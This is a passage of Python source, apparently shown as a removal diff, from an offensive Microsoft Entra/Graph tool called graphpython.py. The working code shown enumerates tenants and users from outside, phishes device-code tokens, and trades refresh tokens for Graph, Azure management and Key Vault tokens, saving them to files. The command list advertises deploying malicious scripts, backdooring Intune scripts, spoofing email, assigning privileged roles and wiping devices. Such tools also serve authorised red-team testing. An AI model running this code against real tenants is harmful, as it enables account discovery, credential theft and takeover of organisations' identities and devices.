error_details.startswith("AADSTS50126"): - exists = True - elif error_details.startswith("AADSTS50076"): - exists = True - elif error_details.startswith("AADSTS700016"): - exists = True - elif error_details.startswith("AADSTS50034"): - exists = False - elif error_details.startswith("AADSTS50059"): - exists = False - elif error_details.startswith("AADSTS81016"): - print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.") - return None - else: - return None - - return exists - -def main(): - parser = argparse.ArgumentParser( - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=textwrap.dedent('''\ - examples: - graphpython.py --command invoke-reconasoutsider --domain company.com - graphpython.py --command invoke-userenumerationasoutsider --username - graphpython.py --command get-graphtokens - graphpython.py --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token - graphpython.py --command get-users --token eyJ0... -- select displayname,id [--id ] - graphpython.py --command list-recentonedrivefiles --token token - graphpython.py --command invoke-search --search "credentials" --entity driveItem --token token - graphpython.py --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token - graphpython.py --command assign-privilegedrole --token token - graphpython.py --command spoof-owaemailmessage [--id ] --token token --email email-body.txt - graphpython.py --command get-manageddevices --token intune-token - graphpython.py --command deploy-maliciousscript --script malicious.ps1 --token token - graphpython.py --command backdoor-script --id --script backdoored-script.ps1 --token token - graphpython.py --command add-exclusiongrouptopolicy --id --token token - graphpython.py --command reboot-device --id --token eyj0... - ''') -) - parser.add_argument("--command", help="Command to execute") - parser.add_argument("--list-commands", action="store_true", help="List available commands") - parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") - parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie value") - parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours") - parser.add_argument("--cert", help="X509Certificate path (.pfx)") - parser.add_argument("--domain", help="Target domain") - parser.add_argument("--tenant", help="Target tenant ID") - parser.add_argument("--username", help="Username or file containing username (invoke-userenumerationasoutsider)") - parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") - parser.add_argument("--id", help="ID of target object") - parser.add_argument("--select", help="Fields to select from output") - parser.add_argument("--query", help="Raw API query (GET only)") - parser.add_argument("--search", help="Search string") - parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") - parser.add_argument("--device", choices=['mac', 'windows', 'androidmobile', 'iphone'], help="Device type for User-Agent forging") - parser.add_argument("--browser", choices=['android', 'IE', 'chrome', 'firefox', 'edge', 'safari'], help="Browser type for User-Agent forging") - parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") - parser.add_argument("--mail-folder", choices=['allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") - parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") - parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript and backdoor-script)") - parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") - args = parser.parse_args() - - if len(sys.argv) == 1: - parser.print_help() - sys.exit() - - available_commands = [ - "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken", - "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollment", - "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken", - "new-signedjwt", "get-currentuser", "get-currentuseractivity", "get-orginfo", "get-domains", "get-user", "get-userproperties", - "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments", - "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", - "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", - "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", - "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot", - "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", - "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", - "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups", - "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application", - "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", - "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", - "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig", - "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps", - "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink", - "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", - "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal", - "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script", - "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent" - ] - - - properties = [ - "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", - "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", - "country", "createdDateTime", "department", "displayName", "employeeId", - "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", - "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", - "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", - "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", - "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", - "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", - "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", - "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", - "schools", "showInAddressList", "skills", "state", "streetAddress", - "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" - ] - - roles = [ - {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, - {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, - {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, - {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, - {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, - {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, - {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, - {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, - {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, - {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, - {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, - {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, - {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, - {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, - {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, - {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, - {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, - {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, - {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, - {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, - {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, - {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, - {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, - {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, - {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, - {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, - {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, - {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} - ] - - if args.list_commands: - list_commands() - return - - if args.command and args.command.lower() in [ - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", - "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", - "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", - "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", - "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user", - "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group", - "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts", - "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages", - "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", - "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser", - "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles", - "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", - "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections", - "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink", - "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", - "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules", - "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword", - "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig", - "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps", - "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", - "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps", - "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps", - "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications", - "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal", - "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script", - "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", - "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt", - "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: - if not args.token: - print_red(f"[-] Error: --token is required for command") - return - - access_token = get_access_token(args.token) - - elif args.command and args.command.lower() not in available_commands: - print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") - - - ############ - # Outsider # - ############ - - # invoke-reconasoutsider - elif args.command and args.command.lower() == "invoke-reconasoutsider": - if not args.domain: - print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command") - return - - print_yellow("\n[*] Invoke-ReconAsOutsider") - print("=" * 80) - domain = args.domain - - # get tenant id - tenant_id = "" - try: - response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") - if response.status_code == 200: - tenant_id = response.json().get('token_endpoint', '').split('/')[3] - except: - print_red("[-] Failed to retrieve tenant ID") - - if not tenant_id: - print_red(f"[-] Domain {domain} is not registered to Azure AD") - print("=" * 80) - return - - tenant_name = "" - tenant_brand = "" - tenant_region = "" - tenant_sso = "" - - # tenant info - try: - response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") - if response.status_code == 200: - data = response.json() - tenant_region = data.get('tenant_region_scope', "Unknown") - except: - print_red("[-] Failed to retrieve tenant info") - - - additional_domains = get_tenant_domains(domain) - additional_domains_count = len(additional_domains) - print(f"Domains: {additional_domains_count}") - domain_information = [] - - # show progress bar - custom_bar = '╢{bar:50}╟' - for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): - if domain.lower().endswith('.onmicrosoft.com') and not tenant_name: - tenant_name = domain - - # desktop sso - if not tenant_sso: - try: - url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}" - response = requests.get(url) - tenant_sso = response.status_code == 401 - except: - pass - - # DNS checks - exists = False - has_cloud_mx = False - has_cloud_spf = False - has_dmarc = False - has_cloud_dkim = False - has_cloud_mta_sts = False - - try: - dns.resolver.resolve(domain) - exists = True - except: - pass - - if exists: - try: - mx_records = dns.resolver.resolve(domain, 'MX') - has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records) - except: - pass - - try: - txt_records = dns.resolver.resolve(domain, 'TXT') - has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records) - except: - pass - - try: - dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') - has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records) - except: - pass - - try: - selectors = ["selector1", "selector2"] - for selector in selectors: - dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME') - has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records) - if has_cloud_dkim: - break - except: - pass - - try: - url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" - mta_sts_response = requests.get(url) - if mta_sts_response.status_code == 200: - mta_sts_content = mta_sts_response.text - mta_sts_lines = mta_sts_content.split("\n") - has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines) - except: - pass - - # federation info - user_realm = {} - try: - username = f"nn@{domain}" - response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}") - if response.status_code == 200: - user_realm = response.json() - except: - print_red("[-] Failed to retrieve user realm information") # pass - - if not tenant_brand: - tenant_brand = user_realm.get("FederationBrandName", "") - - auth_url = user_realm.get("AuthURL") - if auth_url: - auth_url = auth_url.split('?')[0] - - domain_info = { - "Name": domain, - "DNS": exists, - "MX": has_cloud_mx, - "SPF": has_cloud_spf, - "DMARC": has_dmarc, - "DKIM": has_cloud_dkim, - "MTA-STS": has_cloud_mta_sts, - "Type": user_realm.get("NameSpaceType", "Unknown"), - "STS": auth_url - } - - domain_information.append(domain_info) - - print(f"Tenant brand: {tenant_brand}") - print(f"Tenant name: {tenant_name}") - print(f"Tenant id: {tenant_id}") - print(f"Tenant region: {tenant_region}") - - if tenant_sso is not None: - print(f"DesktopSSO enabled: {tenant_sso}") - - if tenant_name: - # check MDI instance - tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name - - mdi_domains = [ - f"{tenant}.atp.azure.com", - f"{tenant}-onmicrosoft-com.atp.azure.com" - ] - - tenant_mdi = None - for mdi_domain in mdi_domains: - try: - dns.resolver.resolve(mdi_domain) - tenant_mdi = mdi_domain - break - except dns.resolver.NXDOMAIN: - continue - except Exception as e: - print(f"An error occurred while resolving {mdi_domain}: {str(e)}") - - if tenant_mdi: - print(f"MDI instance: {tenant_mdi}") - else: - print("MDI instance: Not found") - - # check cloud sync - if tenant_name: - sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}" - exists = None - try: - url = "https://login.microsoftonline.com/common/GetCredentialType" - data = { - "username": sync_service_account, - "isOtherIdpSupported": True, - "checkPhones": False, - "isRemoteNGCSupported": True, - "isCookieBannerShown": False, - "isFidoSupported": True, - "originalRequest": "", - "country": "US", - "forceotclogin": False, - "isExternalFederationDisallowed": False, - "isRemoteConnectSupported": False, - "federationFlags": 0, - "isSignup": False, - "flowToken": "", - "isAccessPassSupported": True - } - response = requests.post(url, json=data) - if response.status_code == 200: - result = response.json() - exists = result.get('IfExistsResult', 0) == 0 - except: - pass - - uses_cloud_sync = exists - print(f"Uses cloud sync: {uses_cloud_sync}") - - print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS") - print("---- --- --- ---- ----- ---- ------- ---- ---") - for domain_info in domain_information: - print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}") - - print("=" * 80) - - # invoke-userenumerationasoutsider - # - only uses Normal method from Killchain.ps1 - elif args.command and args.command.lower() == "invoke-userenumerationasoutsider": - if not args.username: - print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command") - return - - print_yellow("\n[*] Invoke-UserEnumerationAsOutsider") - print("=" * 80) - usernames = [] - - if os.path.isfile(args.username): - with open(args.username, 'r') as file: - usernames = [line.strip() for line in file if line.strip()] - else: - usernames = [args.username] - - for username in usernames: - exists = None - try: - url = "https://login.microsoftonline.com/common/GetCredentialType" - data = { - "username": username, - "isOtherIdpSupported": True, - "checkPhones": False, - "isRemoteNGCSupported": True, - "isCookieBannerShown": False, - "isFidoSupported": True, - "originalRequest": "", - "country": "US", - "forceotclogin": False, - "isExternalFederationDisallowed": False, - "isRemoteConnectSupported": False, - "federationFlags": 0, - "isSignup": False, - "flowToken": "", - "isAccessPassSupported": True - } - response = requests.post(url, json=data) - if response.status_code == 200: - result = response.json() - exists = result.get('IfExistsResult', 0) == 0 - except: - pass - - if exists: - print_green(f"[+] {username:<16}")# : {exists}") - else: - print_red(f"[-] {username:<16}")# : {exists}") - print("=" * 80) - - - ################## - # Authentication # - ################## - - # get-graphtokens - if args.command and args.command.lower() == "get-graphtokens": - print_yellow("\n[*] Get-GraphTokens") - print("=" * 80) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - resource = "https://graph.microsoft.com" - user_agent = get_user_agent(args) - - body = { - "client_id": client_id, - "resource": resource - } - - headers = { - "User-Agent": user_agent - } - - device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers) - device_code_response_content = device_code_response.content.decode() - - device_code = None - message = None - try: - device_code_json_response = json.loads(device_code_response_content) - device_code = device_code_json_response["device_code"] - message = device_code_json_response["message"] - except Exception as ex: - print_red(f"[-] Failed to parse device code response: {ex}") - exit() - - print(f"{message}\n") - - time.sleep(3) - - start_time = datetime.now() - polling_duration = timedelta(minutes=15) - last_authorization_pending_time = datetime.min - - while datetime.now() - start_time < polling_duration: - token_body = { - "client_id": client_id, - "grant_type": "urn:ietf:params:oauth:grant-type:device_code", - "code": device_code - } - - token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body) - token_response_content = token_response.content.decode() - - if token_response.status_code == 400: - if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1): - print("[*] authorization_pending") - last_authorization_pending_time = datetime.now() - time.sleep(3) - elif not token_response.ok or "authorization_pending" in token_response_content: - # continue polling - time.sleep(3) - else: - token_json = json.loads(token_response_content) - print_green("\n[+] Token Obtained!\n") - - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "graph_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - exit() - - print_red("[-] Polling expired. Token not obtained.") - print("=" * 80) - - # get-tenantid - elif args.command and args.command.lower() == "get-tenantid": - if not args.domain: - print_red("[-] Error: --domain argument is required for Get-TenantID command") - return - - print_yellow("\n[*] Get-TenantID") - print("=" * 80) - try: - response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration") - response.raise_for_status() - response_content = response.content.decode() - - open_id_config = json.loads(response_content) - tenant_id = open_id_config["authorization_endpoint"].split('/')[3] - - print(tenant_id) - except requests.exceptions.RequestException as ex: - print_red(f"[-] Error retrieving OpenID configuration: {ex}") - print("=" * 80) - - - # get-tokenscope - elif args.command and args.command.lower() == "get-tokenscope": - print_yellow("\n[*] Get-TokenScope") - print("=" * 80) - try: - json_token = jwt.decode(access_token, options={"verify_signature": False}) - scope = json_token.get("scp") - - if scope: - scope_array = scope.split(' ') - - for s in scope_array: - print(s) - else: - print_red("[-] No scopes found in the access token") - except jwt.DecodeError: - print_red("[-] Invalid access token format") - print("=" * 80) - - # decode-accesstoken - elif args.command and args.command.lower() == "decode-accesstoken": - print_yellow("\n[*] Decode-AccessToken") - print("=" * 80) - try: - json_token = jwt.decode(access_token, options={"verify_signature": False}) - - for key, value in json_token.items(): - print(f"{key}: {value}") - - except jwt.DecodeError: - print_red("[-] Invalid access token format") - print("=" * 80) - - - # invoke-refreshtomsgraphtoken - elif args.command and args.command.lower() == "invoke-refreshtomsgraphtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command") - return - - print_yellow("\n[*] Invoke-RefreshToMSGraphToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://graph.microsoft.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}" - - headers = { - "User-Agent": user_agent - } - - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) - - if response.status_code == 200: - print_green("[+] Token Obtained!\n") - - token_response = response.json() - for key, value in token_response.items(): - print(f"[*] {key}: {value}") - - file_path = "new_graph_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - else: - print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshttoazuremanagementtoken - elif args.command and args.command.lower() == "invoke-refreshtoazuremanagementtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") - return - - print_yellow("\n[*] Invoke-RefreshToAzureManagementToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://management.azure.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}" - - headers = { - "User-Agent": user_agent - } - - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) - - if response.status_code == 200: - print_green("[+] Token Obtained!\n") - - token_response = response.json() - for key, value in token_response.items(): - print(f"[*] {key}: {value}") - - file_path = "az_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - else: - print_red(f"[-] Failed to get Azure Management token: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtovaulttoken - elif args.command and args.command.lower() == "invoke-refreshtovaulttoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") - return - - print_yellow("\n[*] Invoke-RefreshToVaultToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - scope = "https://vault.azure.net/.default" - auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" - - headers = { - "User-Agent": user_agent - } - - data = { - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "vault_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Azure Vault token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtomsteamstoken - elif args.command and args.command.lower() == "invoke-refreshtomsteamstoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command") - return - - print_yellow("\n[*] Invoke-RefreshToMSTeamsToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = 